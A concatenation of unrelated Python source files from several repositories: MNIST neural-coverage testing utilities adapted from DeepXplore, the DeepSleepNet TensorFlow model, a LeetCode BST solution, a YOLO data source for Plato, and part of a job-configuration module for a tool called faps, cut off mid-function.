return 0 if len(lengths) == 0 else (int(sum(lengths) / len(lengths)))
def isclose(a, b, rel_tol=1e-09, abs_tol=0.0):
# This function determines if value a and value b are about equal
return abs(a-b) <= max(rel_tol * max(abs(a), abs(b)), abs_tol)
if __name__ == '__main__':
print('grasp.py needs to be combined with coolcookies.py') | [
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] |
4_Coverage_Evaluation/MNIST/utils.py | j-chan-hkust/deep_testing_of_advanced_learning_systems | 0 | 143878 | <reponame>j-chan-hkust/deep_testing_of_advanced_learning_systems<filename>4_Coverage_Evaluation/MNIST/utils.py
# some utils taken from the DeepXplore Implementation
import random
from collections import defaultdict
import numpy as np
from keras import backend as K
from keras.models import Model
from keras.preprocessing import image
from keras import models, layers, activations
from scipy.spatial.distance import mahalanobis
from numpy.linalg import inv
from itertools import combinations
#loads a mnist image
def preprocess_image(img_path):
img = image.load_img(img_path, target_size=(28, 28), grayscale=True)
input_img_data = image.img_to_array(img)
input_img_data = input_img_data.reshape(1, 28, 28, 1)
input_img_data = input_img_data.astype('float32')
input_img_data /= 255
# input_img_data = preprocess_input(input_img_data) # final input shape = (1,224,224,3)
return input_img_data
def init_neuron_cov_dict(model, model_layer_dict):
for layer in model.layers:
if 'flatten' in layer.name or 'input' in layer.name:
continue
for index in range(layer.output_shape[-1]):
model_layer_dict[(layer.name, index)] = False
def neuron_to_cover(model_layer_dict):
not_covered = [(layer_name, index) for (layer_name, index), v in model_layer_dict.items() if not v]
if not_covered:
layer_name, index = random.choice(not_covered)
else:
layer_name, index = random.choice(model_layer_dict.keys())
return layer_name, index
def get_neuron_coverage(model_layer_dict):
covered_neurons = len([v for v in model_layer_dict.values() if v])
total_neurons = len(model_layer_dict)
return covered_neurons, total_neurons, covered_neurons / float(total_neurons)
def update_neuron_coverage(input_data, model, model_layer_dict, threshold=0):
layer_names = [layer.name for layer in model.layers if
'flatten' not in layer.name and 'input' not in layer.name]
intermediate_layer_model = Model(inputs=model.input,
outputs=[model.get_layer(layer_name).output for layer_name in layer_names])
intermediate_layer_outputs = intermediate_layer_model.predict(input_data)
for i, intermediate_layer_output in enumerate(intermediate_layer_outputs):
scaled = scale(intermediate_layer_output[0])
for num_neuron in range(scaled.shape[-1]):
if np.mean(scaled[..., num_neuron]) > threshold and not model_layer_dict[(layer_names[i], num_neuron)]:
model_layer_dict[(layer_names[i], num_neuron)] = True
print("new coverage found")
#To test
#gets the distance of the points in standard deviations
#note that it assumes that the points are normally distributed
def distance(point, mean, covarianceMatrix):
return mahalanobis(point, mean, inv(covarianceMatrix))
# an adaptation of some code from deepXplore
# initializes a dictionary that will store which qudrants have been covered
# model - the model we are looking to covered
# layer_index - the layer we are exploring
# group_size - size of the group of neurons we are analyzing
# model_layer_dict - the object we want to initialize
def init_orthant_cov_dict(model, layer_index, group_size, model_layer_dict):
layer = model.layers[layer_index]
# some error handling
if 'flatten' in layer.name or 'input' in layer.name:
print("error in init_dict: layer_index points to the wrong layer")
# we initialize each combination
for neuron_group in combinations(range(layer.output_shape[-1]), group_size): # layer.output_shape[-1] returns the number of total_neurons
for orthant in range(2^group_size-1):
model_layer_dict[(neuron_group, orthant)] = False
def get_orthant_coverage(model_layer_dict):
covered_orthants = len([v for v in model_layer_dict.values() if v])
total_orthants = len(model_layer_dict)
return covered_orthants, total_orthants, covered_orthants / float(total_orthants)
#this is meant to pick a orthant that is not covered
# we actually don't need to use this just yet, maybe if I decide to implement for DeepXplore
def next_orthant_to_cover(model_layer_dict):
not_covered = [(neuron_group, orthant) for (neuron_group, orthant), v in model_layer_dict.items() if not v]
if not_covered:
neuron_group, orthant = random.choice(not_covered)
else:
neuron_group, orthant = random.choice(model_layer_dict.keys())
return neuron_group, orthant
# creates a shortened model that ends at the nth layer, and has no activation function
# same code as from collect_data
def create_shortened_model(model, layer_depth):
# we get the neuron output for the penultimate layer for each neuron
# implemented with help from the suggestion at: https://stackoverflow.com/questions/45492318/keras-retrieve-value-of-node-before-activation-function
# we recreate the model, delete layers up to and including the layer we want to analyze, add a blank layer with no activation, and then import the old weights to this layer.
#make a new model
# some simple input checks
if(layer_depth < 0):
println ('layer depth must be positive!')
sys.exit()
if(layer_depth > len(model.layers)):
println ('layer depth too large!')
sys.exit()
# save the original weights
wgts = model.layers[layer_depth].get_weights()
nthLayerNeurons = model.layers[layer_depth].output_shape[1]
#remove layers up to the nth layer
for i in range(len(model.layers)-layer_depth):
model.pop()
model.summary
# add new layer with no activation
model.add(layers.Dense(nthLayerNeurons,activation = None))
# with the new layer, load the previous weights
model.layers[layer_depth].set_weights(wgts)
# get the output of this new model.
return Model(inputs=model.input, outputs=model.layers[layer_depth].output )
#this code updates the coverage given a certain input
def update_orthant_coverage(input_data, shortened_model, model_layer_dict, mean_vector, covariance_matrix, group_size=1, sd_threshold=1):
layer_outputs = shortened_model.predict(input_data) #get the output
# the reason that we use layer_outputs[0] is change it into a single row, rather than an array with a row.
for neuron_group in combinations(range(layer_outputs.shape[-1]),group_size):
group_output = np.asarray([layer_outputs[0][i] for i in neuron_group]) #get a list of the outputs
# we do binary addition to get the correct orthant index.
# for example, if we only have a 2 variables, we have 4 quadrants. we need to classify into 0,1,2,3 index
#init the tools to find which orthant is being explored
orthant = 0
add = int(1)
for neuron_index in neuron_group:
if layer_outputs[0][neuron_index] > mean_vector[neuron_index]:
orthant += add
add *= 2
if model_layer_dict[(neuron_group,orthant)] == True:
continue #don't do the expensive action of loading the group cov, group mean, and calculating the distance
group_mean = np.asarray([mean_vector[i] for i in neuron_group]) #list of mean
#initialize the group numpy array for later calculation
group_cov_matrix = np.asarray([[covariance_matrix[j][i] for i in neuron_group] for j in neuron_group]) #dont ask me why
if(distance(group_output, group_mean, group_cov_matrix)>sd_threshold):
model_layer_dict[(neuron_group,orthant)] = True
# just a simple check if we have full coverage works for any coverage
def full_coverage(model_layer_dict):
if False in model_layer_dict.values():
return False
return True
# from here on is code from deepxplore
# util function to convert a tensor into a valid image
def deprocess_image(x):
x *= 255
x = np.clip(x, 0, 255).astype('uint8')
return x.reshape(x.shape[1], x.shape[2]) # original shape (1,img_rows, img_cols,1)
def normalize(x):
# utility function to normalize a tensor by its L2 norm
return x / (K.sqrt(K.mean(K.square(x))) + 1e-5)
def constraint_occl(gradients, start_point, rect_shape):
new_grads = np.zeros_like(gradients)
new_grads[:, start_point[0]:start_point[0] + rect_shape[0],
start_point[1]:start_point[1] + rect_shape[1]] = gradients[:, start_point[0]:start_point[0] + rect_shape[0],
start_point[1]:start_point[1] + rect_shape[1]]
return new_grads
def constraint_light(gradients):
new_grads = np.ones_like(gradients)
grad_mean = np.mean(gradients)
return grad_mean * new_grads
def constraint_black(gradients, rect_shape=(6, 6)):
start_point = (
random.randint(0, gradients.shape[1] - rect_shape[0]), random.randint(0, gradients.shape[2] - rect_shape[1]))
new_grads = np.zeros_like(gradients)
patch = gradients[:, start_point[0]:start_point[0] + rect_shape[0], start_point[1]:start_point[1] + rect_shape[1]]
if np.mean(patch) < 0:
new_grads[:, start_point[0]:start_point[0] + rect_shape[0],
start_point[1]:start_point[1] + rect_shape[1]] = -np.ones_like(patch)
return new_grads
def init_coverage_tables(model1, model1_layer_index, model2, model2_layer_index, model3, model3_layer_index, group_size = 1):
model_layer_dict1 = defaultdict(bool)
model_layer_dict2 = defaultdict(bool)
model_layer_dict3 = defaultdict(bool)
init_dict(model1, model1_layer_index, group_size, model_layer_dict1)
init_dict(model2, model2_layer_index, group_size, model_layer_dict2)
init_dict(model3, model3_layer_index, group_size, model_layer_dict3)
return model_layer_dict1, model_layer_dict2, model_layer_dict3
def init_neuron_coverage_table(model1):
model_layer_dict1 = defaultdict(bool)
init_neuron_cov_dict(model1, model_layer_dict1)
return model_layer_dict1
def init_orthant_coverage_table(model1, layer_index, group_size):
model_layer_dict1 = defaultdict(bool)
init_orthant_cov_dict(model1, layer_index, group_size, model_layer_dict1)
return model_layer_dict1
def scale(intermediate_layer_output, rmax=1, rmin=0):
X_std = (intermediate_layer_output - intermediate_layer_output.min()) / (
intermediate_layer_output.max() - intermediate_layer_output.min())
X_scaled = X_std * (rmax - rmin) + rmin
return X_scaled
def fired(model, layer_name, index, input_data, threshold=0):
intermediate_layer_model = Model(inputs=model.input, outputs=model.get_layer(layer_name).output)
intermediate_layer_output = intermediate_layer_model.predict(input_data)[0]
scaled = scale(intermediate_layer_output)
if np.mean(scaled[..., index]) > threshold:
return True
return False
def diverged(predictions1, predictions2, predictions3, target):
# if predictions2 == predictions3 == target and predictions1 != target:
if not predictions1 == predictions2 == predictions3:
return True
return False
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] |
deepsleep/model.py | learning310/deepsleepnet | 266 | 73826 | import tensorflow as tf
from deepsleep.nn import *
class DeepFeatureNet(object):
def __init__(
self,
batch_size,
input_dims,
n_classes,
is_train,
reuse_params,
use_dropout,
name="deepfeaturenet"
):
self.batch_size = batch_size
self.input_dims = input_dims
self.n_classes = n_classes
self.is_train = is_train
self.reuse_params = reuse_params
self.use_dropout = use_dropout
self.name = name
self.activations = []
self.layer_idx = 1
self.monitor_vars = []
def _build_placeholder(self):
# Input
name = "x_train" if self.is_train else "x_valid"
self.input_var = tf.compat.v1.placeholder(
tf.float32,
shape=[self.batch_size, self.input_dims, 1, 1],
name=name + "_inputs"
)
# Target
self.target_var = tf.compat.v1.placeholder(
tf.int32,
shape=[self.batch_size, ],
name=name + "_targets"
)
def _conv1d_layer(self, input_var, filter_size, n_filters, stride, wd=0):
input_shape = input_var.get_shape()
n_batches = input_shape[0].value
input_dims = input_shape[1].value
n_in_filters = input_shape[3].value
name = "l{}_conv".format(self.layer_idx)
with tf.compat.v1.variable_scope(name) as scope:
output = conv_1d(name="conv1d", input_var=input_var, filter_shape=[filter_size, 1, n_in_filters, n_filters], stride=stride, bias=None, wd=wd)
# # MONITORING
# self.monitor_vars.append(("{}_before_bn".format(name), output))
output = batch_norm_new(name="bn", input_var=output, is_train=self.is_train)
# # MONITORING
# self.monitor_vars.append(("{}_after_bn".format(name), output))
# output = leaky_relu(name="leaky_relu", input_var=output)
output = tf.nn.relu(output, name="relu")
self.activations.append((name, output))
self.layer_idx += 1
return output
def build_model(self, input_var):
# List to store the output of each CNNs
output_conns = []
######### CNNs with small filter size at the first layer #########
# Convolution
# network = self._conv1d_layer(input_var=input_var, filter_size=128, n_filters=64, stride=16, wd=1e-3)
network = self._conv1d_layer(input_var=input_var, filter_size=50, n_filters=64, stride=6, wd=1e-3)
# Max pooling
name = "l{}_pool".format(self.layer_idx)
network = max_pool_1d(name=name, input_var=network, pool_size=8, stride=8)
self.activations.append((name, network))
self.layer_idx += 1
# Dropout
if self.use_dropout:
name = "l{}_dropout".format(self.layer_idx)
if self.is_train:
network = tf.nn.dropout(network, keep_prob=0.5, name=name)
else:
network = tf.nn.dropout(network, keep_prob=1.0, name=name)
self.activations.append((name, network))
self.layer_idx += 1
# Convolution
network = self._conv1d_layer(input_var=network, filter_size=8, n_filters=128, stride=1)
network = self._conv1d_layer(input_var=network, filter_size=8, n_filters=128, stride=1)
network = self._conv1d_layer(input_var=network, filter_size=8, n_filters=128, stride=1)
# Max pooling
name = "l{}_pool".format(self.layer_idx)
network = max_pool_1d(name=name, input_var=network, pool_size=4, stride=4)
self.activations.append((name, network))
self.layer_idx += 1
# Flatten
name = "l{}_flat".format(self.layer_idx)
network = flatten(name=name, input_var=network)
self.activations.append((name, network))
self.layer_idx += 1
output_conns.append(network)
######### CNNs with large filter size at the first layer #########
# Convolution
# network = self._conv1d_layer(input_var=input_var, filter_size=1024, n_filters=64, stride=128)
network = self._conv1d_layer(input_var=input_var, filter_size=400, n_filters=64, stride=50)
# Max pooling
name = "l{}_pool".format(self.layer_idx)
network = max_pool_1d(name=name, input_var=network, pool_size=4, stride=4)
self.activations.append((name, network))
self.layer_idx += 1
# Dropout
if self.use_dropout:
name = "l{}_dropout".format(self.layer_idx)
if self.is_train:
network = tf.nn.dropout(network, keep_prob=0.5, name=name)
else:
network = tf.nn.dropout(network, keep_prob=1.0, name=name)
self.activations.append((name, network))
self.layer_idx += 1
# Convolution
network = self._conv1d_layer(input_var=network, filter_size=6, n_filters=128, stride=1)
network = self._conv1d_layer(input_var=network, filter_size=6, n_filters=128, stride=1)
network = self._conv1d_layer(input_var=network, filter_size=6, n_filters=128, stride=1)
# Max pooling
name = "l{}_pool".format(self.layer_idx)
network = max_pool_1d(name=name, input_var=network, pool_size=2, stride=2)
self.activations.append((name, network))
self.layer_idx += 1
# Flatten
name = "l{}_flat".format(self.layer_idx)
network = flatten(name=name, input_var=network)
self.activations.append((name, network))
self.layer_idx += 1
output_conns.append(network)
######### Aggregate and link two CNNs #########
# Concat
name = "l{}_concat".format(self.layer_idx)
network = tf.concat(axis=1, values=output_conns, name=name)
self.activations.append((name, network))
self.layer_idx += 1
# Dropout
if self.use_dropout:
name = "l{}_dropout".format(self.layer_idx)
if self.is_train:
network = tf.nn.dropout(network, keep_prob=0.5, name=name)
else:
network = tf.nn.dropout(network, keep_prob=1.0, name=name)
self.activations.append((name, network))
self.layer_idx += 1
return network
def init_ops(self):
self._build_placeholder()
# Get loss and prediction operations
with tf.compat.v1.variable_scope(self.name) as scope:
# Reuse variables for validation
if self.reuse_params:
scope.reuse_variables()
# Build model
network = self.build_model(input_var=self.input_var)
# Softmax linear
name = "l{}_softmax_linear".format(self.layer_idx)
network = fc(name=name, input_var=network, n_hiddens=self.n_classes, bias=0.0, wd=0)
self.activations.append((name, network))
self.layer_idx += 1
# Outputs of softmax linear are logits
self.logits = network
######### Compute loss #########
# Cross-entropy loss
loss = tf.nn.sparse_softmax_cross_entropy_with_logits(
logits=self.logits,
labels=self.target_var,
name="sparse_softmax_cross_entropy_with_logits"
)
loss = tf.reduce_mean(loss, name="cross_entropy")
# Regularization loss
regular_loss = tf.add_n(
tf.compat.v1.get_collection("losses", scope=scope.name + "\/"),
name="regular_loss"
)
# print " "
# print "Params to compute regularization loss:"
# for p in tf.compat.v1.get_collection("losses", scope=scope.name + "\/"):
# print p.name
# print " "
# Total loss
self.loss_op = tf.add(loss, regular_loss)
# Predictions
self.pred_op = tf.argmax(self.logits, 1)
class DeepSleepNet(DeepFeatureNet):
def __init__(
self,
batch_size,
input_dims,
n_classes,
seq_length,
n_rnn_layers,
return_last,
is_train,
reuse_params,
use_dropout_feature,
use_dropout_sequence,
name="deepsleepnet"
):
super(self.__class__, self).__init__(
batch_size=batch_size,
input_dims=input_dims,
n_classes=n_classes,
is_train=is_train,
reuse_params=reuse_params,
use_dropout=use_dropout_feature,
name=name
)
self.seq_length = seq_length
self.n_rnn_layers = n_rnn_layers
self.return_last = return_last
self.use_dropout_sequence = use_dropout_sequence
def _build_placeholder(self):
# Input
name = "x_train" if self.is_train else "x_valid"
self.input_var = tf.compat.v1.placeholder(
tf.float32,
shape=[self.batch_size*self.seq_length, self.input_dims, 1, 1],
name=name + "_inputs"
)
# Target
self.target_var = tf.compat.v1.placeholder(
tf.int32,
shape=[self.batch_size*self.seq_length, ],
name=name + "_targets"
)
def build_model(self, input_var):
# Create a network with superclass method
network = super(self.__class__, self).build_model(
input_var=self.input_var
)
# Residual (or shortcut) connection
output_conns = []
# Fully-connected to select some part of the output to add with the output from bi-directional LSTM
name = "l{}_fc".format(self.layer_idx)
with tf.compat.v1.variable_scope(name) as scope:
output_tmp = fc(name="fc", input_var=network, n_hiddens=1024, bias=None, wd=0)
output_tmp = batch_norm_new(name="bn", input_var=output_tmp, is_train=self.is_train)
# output_tmp = leaky_relu(name="leaky_relu", input_var=output_tmp)
output_tmp = tf.nn.relu(output_tmp, name="relu")
self.activations.append((name, output_tmp))
self.layer_idx += 1
output_conns.append(output_tmp)
######################################################################
# Reshape the input from (batch_size * seq_length, input_dim) to
# (batch_size, seq_length, input_dim)
name = "l{}_reshape_seq".format(self.layer_idx)
input_dim = network.get_shape()[-1].value
seq_input = tf.reshape(network,
shape=[-1, self.seq_length, input_dim],
name=name)
assert self.batch_size == seq_input.get_shape()[0].value
self.activations.append((name, seq_input))
self.layer_idx += 1
# Bidirectional LSTM network
name = "l{}_bi_lstm".format(self.layer_idx)
hidden_size = 512 # will output 1024 (512 forward, 512 backward)
with tf.compat.v1.variable_scope(name) as scope:
def lstm_cell():
cell = tf.compat.v1.nn.rnn_cell.LSTMCell(hidden_size,
use_peepholes=True,
state_is_tuple=True,
reuse=tf.compat.v1.get_variable_scope().reuse)
if self.use_dropout_sequence:
keep_prob = 0.5 if self.is_train else 1.0
cell = tf.compat.v1.nn.rnn_cell.DropoutWrapper(
cell,
output_keep_prob=keep_prob
)
return cell
fw_cell = tf.compat.v1.nn.rnn_cell.MultiRNNCell([lstm_cell() for _ in range(self.n_rnn_layers)], state_is_tuple = True)
bw_cell = tf.compat.v1.nn.rnn_cell.MultiRNNCell([lstm_cell() for _ in range(self.n_rnn_layers)], state_is_tuple = True)
# Initial state of RNN
self.fw_initial_state = fw_cell.zero_state(self.batch_size, tf.float32)
self.bw_initial_state = bw_cell.zero_state(self.batch_size, tf.float32)
# Feedforward to MultiRNNCell
list_rnn_inputs = tf.unstack(seq_input, axis=1)
#outputs, fw_state, bw_state = tf.nn.bidirectional_rnn(
outputs, fw_state, bw_state = tf.compat.v1.nn.static_bidirectional_rnn(
cell_fw=fw_cell,
cell_bw=bw_cell,
inputs=list_rnn_inputs,
initial_state_fw=self.fw_initial_state,
initial_state_bw=self.bw_initial_state
)
if self.return_last:
network = outputs[-1]
else:
network = tf.reshape(tf.concat(axis=1, values=outputs), [-1, hidden_size*2],
name=name)
self.activations.append((name, network))
self.layer_idx +=1
self.fw_final_state = fw_state
self.bw_final_state = bw_state
# Append output
output_conns.append(network)
######################################################################
# Add
name = "l{}_add".format(self.layer_idx)
network = tf.add_n(output_conns, name=name)
self.activations.append((name, network))
self.layer_idx += 1
# Dropout
if self.use_dropout_sequence:
name = "l{}_dropout".format(self.layer_idx)
if self.is_train:
network = tf.nn.dropout(network, keep_prob=0.5, name=name)
else:
network = tf.nn.dropout(network, keep_prob=1.0, name=name)
self.activations.append((name, network))
self.layer_idx += 1
return network
def init_ops(self):
self._build_placeholder()
# Get loss and prediction operations
with tf.compat.v1.variable_scope(self.name) as scope:
# Reuse variables for validation
if self.reuse_params:
scope.reuse_variables()
# Build model
network = self.build_model(input_var=self.input_var)
# Softmax linear
name = "l{}_softmax_linear".format(self.layer_idx)
network = fc(name=name, input_var=network, n_hiddens=self.n_classes, bias=0.0, wd=0)
self.activations.append((name, network))
self.layer_idx += 1
# Outputs of softmax linear are logits
self.logits = network
######### Compute loss #########
# Weighted cross-entropy loss for a sequence of logits (per example)
loss = tf.contrib.legacy_seq2seq.sequence_loss_by_example(
[self.logits],
[self.target_var],
[tf.ones([self.batch_size * self.seq_length])],
name="sequence_loss_by_example"
)
loss = tf.reduce_sum(loss) / self.batch_size
# Regularization loss
regular_loss = tf.add_n(
tf.compat.v1.get_collection("losses", scope=scope.name + "\/"),
name="regular_loss"
)
# print " "
# print "Params to compute regularization loss:"
# for p in tf.compat.v1.get_collection("losses", scope=scope.name + "\/"):
# print p.name
# print " "
# Total loss
self.loss_op = tf.add(loss, regular_loss)
# Predictions
self.pred_op = tf.argmax(self.logits, 1)
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Python/leetcode/UniqueBinarySearchTreesIi.py | darrencheng0817/AlgorithmLearning | 2 | 84068 | '''
Created on 1.12.2016
@author: Darren
''''''
Given n, generate all structurally unique BST s (binary search trees) that store values 1...n.
For example,
Given n = 3, your program should return all 5 unique BST s shown below.
1 3 3 2 1
\ / / / \ \
3 2 1 1 3 2
/ / \ \
2 1 2 3
confused what "{1,#,2,3}" means? > read more on how binary tree is serialized on OJ.
OJ s Binary Tree Serialization:
The serialization of a binary tree follows a level order traversal, where # signifies a path terminator where no node exists below.
Here s an example:
1
/ \
2 3
/
4
\
5
The above binary tree is serialized as "{1,2,3,#,#,4,#,#,5}".
"
'''
# Definition for a binary tree node.
class TreeNode(object):
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution(object):
def generateTrees(self, n):
"""
:type n: int
:rtype: List[TreeNode]
"""
if n<=0:
return []
return self.generateTreesUtil(1,n)
def generateTreesUtil(self, left,right):
if left==right:
return [TreeNode(left)]
if left>right:
return [None]
res=[]
for value in range(left,right+1):
for leftNode in self.generateTreesUtil(left,value-1):
for rightNode in self.generateTreesUtil(value+1,right):
root=TreeNode(value)
root.left=leftNode
root.right=rightNode
res.append(root)
return res | [
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examples/nnrt/nnrt_datasource_yolo.py | cuiboyuan/plato | 135 | 136163 | """
The COCO dataset or other datasets for the YOLOv5 model with using NNRT.
"""
import logging
import os
import math
from plato.config import Config
from plato.datasources import base
from nnrt_datasource_yolo_utils import LoadImagesAndLabels
def make_divisible(x, divisor):
# Returns x evenly divisible by divisor
return math.ceil(x / divisor) * divisor
def check_img_size(img_size, s=32):
# Verify img_size is a multiple of stride s
new_size = make_divisible(img_size, int(s)) # ceil gs-multiple
if new_size != img_size:
print(
'WARNING: --img-size %g must be multiple of max stride %g, updating to %g'
% (img_size, s, new_size))
return new_size
class DataSource(base.DataSource):
"""The YOLO dataset."""
def __init__(self):
super().__init__()
_path = Config().data.data_path
if not os.path.exists(_path):
os.makedirs(_path)
logging.info(
"Downloading the YOLO dataset. This may take a while.")
urls = Config().data.download_urls
for url in urls:
if not os.path.exists(_path + url.split('/')[-1]):
DataSource.download(url, _path)
assert 'grid_size' in Config().params
self.grid_size = Config().params['grid_size']
self.image_size = check_img_size(Config().data.image_size,
self.grid_size)
self.train_set = None
self.test_set = None
def num_train_examples(self):
return Config().data.num_train_examples
def num_test_examples(self):
return Config().data.num_test_examples
def classes(self):
"""Obtains a list of class names in the dataset."""
return Config().data.classes
def get_train_set(self):
single_class = (Config().data.num_classes == 1)
if self.train_set is None:
self.train_set = LoadImagesAndLabels(
Config().data.train_path,
self.image_size,
Config().trainer.batch_size,
augment=False, # augment images
hyp=None, # augmentation hyperparameters
rect=False, # rectangular training
cache_images=False,
single_cls=single_class,
stride=int(self.grid_size),
pad=0.0,
image_weights=False,
prefix='')
return self.train_set
def get_test_set(self):
single_class = (Config().data.num_classes == 1)
if self.test_set is None:
self.test_set = LoadImagesAndLabels(
Config().data.test_path,
self.image_size,
Config().trainer.batch_size,
augment=False, # augment images
hyp=None, # augmentation hyperparameters
rect=False, # rectangular training
cache_images=False,
single_cls=single_class,
stride=int(self.grid_size),
pad=0.0,
image_weights=False,
prefix='')
return self.test_set
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config.py | tdaff/automation | 1 | 25799 | #!/usr/bin/env python
"""
configuration for faps
Provides the Options class that will transparently handle the different option
sources through the .get() method. Pulls in defaults, site and job options plus
command line customisation. Instantiating Options will set up the logging for
the particular job.
"""
__all__ = ['Options']
# Python 3 fix
try:
import configparser
except ImportError:
import ConfigParser as configparser
import copy
import logging
import os
import re
import sys
import textwrap
# Python 3 fix
try:
from StringIO import StringIO
except ImportError:
from io import StringIO
from optparse import OptionParser
from logging import debug, error, info
import __main__
class Options(object):
"""
Transparent options handling.
A single unified way of dealing with input files and command line options
delivering sensible defaults for unspecified values. Access options with
the .get() method, or the method that specifies the expected type. It is
recommended to replace with a new instance each time the script is run,
otherwise commandline options or changed input files will not be picked up.
"""
def __init__(self, job_name=None):
"""Initialize options from all .ini files and the commandline."""
# use .get{type}() to read attributes, only access args directly
self.job_dir = ''
self.script_dir = ''
self.job_name = job_name
self.args = []
self.options = {}
self.cmdopts = {}
self._used_options = set()
self.defaults = configparser.SafeConfigParser()
self.site_ini = configparser.SafeConfigParser()
self.job_ini = configparser.SafeConfigParser()
# populate options
self._init_paths()
self.commandline()
self._init_logging()
self.load_defaults()
self.load_site_defaults()
self.load_job_defaults()
if self.options.job_type:
self.job_type_ini = configparser.SafeConfigParser()
self.load_job_type(self.options.job_type)
else:
self.job_type_ini = NullConfigParser()
def get(self, item):
"""Map values from different sources based on priorities."""
# report default options differently
option_source = 'D'
if item in self.__dict__:
# Instance attributes, such as job_name and job_dir
debug("an attribute: %s" % item)
option_source = 'A'
value = object.__getattribute__(self, item)
elif self.options.__dict__.get(item) is not None:
# Commandline options from optparse where option is set
debug("an option: %s" % item)
option_source = 'C'
value = self.options.__dict__[item]
elif item in self.cmdopts:
# Commandline -o custom key=value options
debug("a custom -o option: %s" % item)
option_source = 'O'
value = self.cmdopts[item]
elif self.job_ini.has_option('job_config', item):
# jobname.fap per-job setings
debug("a job option: %s" % item)
option_source = 'F'
value = self.job_ini.get('job_config', item)
elif self.job_type_ini.has_option('job_type', item):
debug("a job_type option: %s" % item)
option_source = 'J'
value = self.job_type_ini.get('job_type', item)
elif self.site_ini.has_option('site_config', item):
debug("a site option: %s" % item)
value = self.site_ini.get('site_config', item)
elif self.defaults.has_option('defaults', item):
debug("a default: %s" % item)
value = self.defaults.get('defaults', item)
else:
# Most things have a default, but not always. Error properly.
debug("unspecified option: %s" % item)
raise AttributeError(item)
# Show what options are used the first time they are accessed
# for the traceability
if item not in self._used_options:
if option_source == 'D':
debug("Default: %s = %s" % (item, value))
else:
info("Option (%s): %s = %s" % (option_source, item, value))
self._used_options.add(item)
# we output the raw value here and pass to caller for
return value
def getbool(self, item):
"""
Parse option and if the value of item is not already a bool return
True for "1", "yes", "true" and "on" and False for "0", "no", "false"
and "off". Case-insensitive.
"""
value = self.get(item)
if isinstance(value, bool):
return value
# Can't use isinstance with basestring to be 2.x and 3.x compatible
# fudge it by assuming strings can be lowered
elif hasattr(value, 'lower'):
if value.lower() in ["1", "yes", "true", "on"]:
return True
elif value.lower() in ["0", "no", "false", "off"]:
return False
else:
# Not a valid bool
raise ValueError(value)
else:
return bool(item)
def getint(self, item):
"""Return item's value as an integer."""
value = self.get(item)
return int(value)
def getfloat(self, item):
"""Return item's value as a float."""
value = self.get(item)
return float(value)
def gettuple(self, item, dtype=None):
"""Return item's value interpreted as a tuple of 'dtype' [strings]."""
value = self.get(item)
# Regex strips bracketing so can't nest, but safer than eval
value = [x for x in re.split('[\s,\(\)\[\]]*', value) if x]
if dtype is not None:
return tuple([dtype(x) for x in value])
else:
return tuple(value)
def _init_paths(self):
"""Find the script directory and set up working directory"""
# Where the script is has the config defaults.
if __name__ != '__main__':
self.script_dir = os.path.dirname(__file__)
else:
self.script_dir = os.path.abspath(sys.path[0])
# Where we run the job.
self.job_dir = os.getcwd()
def _init_logging(self):
"""
Setup the logging to terminal and .flog file, with levels as required.
Must run before any logging calls so we need to access attributes
rather than using self.get()!
"""
# Quiet always overrides verbose; always at least INFO in .flog
if self.options.silent:
stdout_level = logging.CRITICAL
file_level = logging.INFO
elif self.options.quiet:
stdout_level = logging.ERROR
file_level = logging.INFO
elif self.options.verbose:
stdout_level = logging.DEBUG
file_level = logging.DEBUG
else:
stdout_level = logging.INFO
file_level = logging.INFO
# Easier to do simple file configuration then add the stdout
logging.basicConfig(level=file_level,
format='[%(asctime)s] %(levelname)s %(message)s',
datefmt='%Y%m%d %H:%M:%S',
filename=self.job_name + '.flog',
filemode='a')
# Make these uniform widths
logging.addLevelName(10, '--')
logging.addLevelName(20, '>>')
logging.addLevelName(30, '**')
logging.addLevelName(40, '!!')
logging.addLevelName(50, 'XX')
if self.options.plain:
console = logging.StreamHandler(sys.stdout)
else:
# Use nice coloured console output
console = ColouredConsoleHandler(sys.stdout)
console.setLevel(stdout_level)
formatter = logging.Formatter('%(levelname)s %(message)s')
console.setFormatter(formatter)
# add the handler to the root logger
logging.getLogger('').addHandler(console)
def commandline(self):
"""Specified options, highest priority."""
usage = "usage: %prog [options] [COMMAND] JOB_NAME"
# use description for the script, not for this module
parser = OptionParser(usage=usage, version="%prog 0.1",
description=__main__.__doc__)
parser.add_option("-v", "--verbose", action="store_true",
dest="verbose",
help="output extra debugging information")
parser.add_option("-q", "--quiet", action="store_true",
dest="quiet", help="only output warnings and errors")
parser.add_option("-s", "--silent", action="store_true",
dest="silent", help="no terminal output")
parser.add_option("-p", "--plain", action="store_true",
dest="plain", help="do not colourise or wrap output")
parser.add_option("-o", "--option", action="append", dest="cmdopts",
help="set custom options as key=value pairs")
parser.add_option("-i", "--interactive", action="store_true",
dest="interactive", help="enter interactive mode")
parser.add_option("-m", "--import", action="store_true",
dest="import", help="try and import old data")
parser.add_option("-n", "--no-submit", action="store_true",
dest="no_submit",
help="create input files only, do not run any jobs")
parser.add_option("-j", "--job-type", dest="job_type",
help="user preconfigured job settings")
parser.add_option("-d", "--daemon", action="store_true", dest="daemon",
help="run [lube] as a server and await input")
(local_options, local_args) = parser.parse_args()
# job_name may or may not be passed or set initially
if self.job_name:
if self.job_name in local_args:
local_args.remove(self.job_name)
elif len(local_args) == 0:
parser.error("No arguments given (try %prog --help)")
else:
# Take the last argument as the job name
self.job_name = local_args.pop()
# key value options from the command line
if local_options.cmdopts is not None:
for pair in local_options.cmdopts:
if '=' in pair:
pair = pair.split('=', 1) # maximum of one split
self.cmdopts[pair[0]] = pair[1]
else:
self.cmdopts[pair] = True
self.options = local_options
# Args are only the COMMANDS for the run
self.args = [arg.lower() for arg in local_args]
def load_defaults(self):
"""Load program defaults."""
# ConfigParser requires header sections so we add them to a StringIO
# of the file if they are missing. 2to3 should also deal with the
# renamed modules.
default_ini_path = os.path.join(self.script_dir, 'defaults.ini')
try:
filetemp = open(default_ini_path, 'r')
default_ini = filetemp.read()
filetemp.close()
if not '[defaults]' in default_ini.lower():
default_ini = '[defaults]\n' + default_ini
default_ini = StringIO(default_ini)
except IOError:
# file does not exist so we just use a blank string
debug('Default options not found! Something is very wrong.')
default_ini = StringIO('[defaults]\n')
self.defaults.readfp(default_ini)
def load_site_defaults(self):
"""Find where the script is and load defaults"""
site_ini_path = os.path.join(self.script_dir, 'site.ini')
try:
filetemp = open(site_ini_path, 'r')
site_ini = filetemp.read()
filetemp.close()
if not '[site_config]' in site_ini.lower():
site_ini = '[site_config]\n' + site_ini
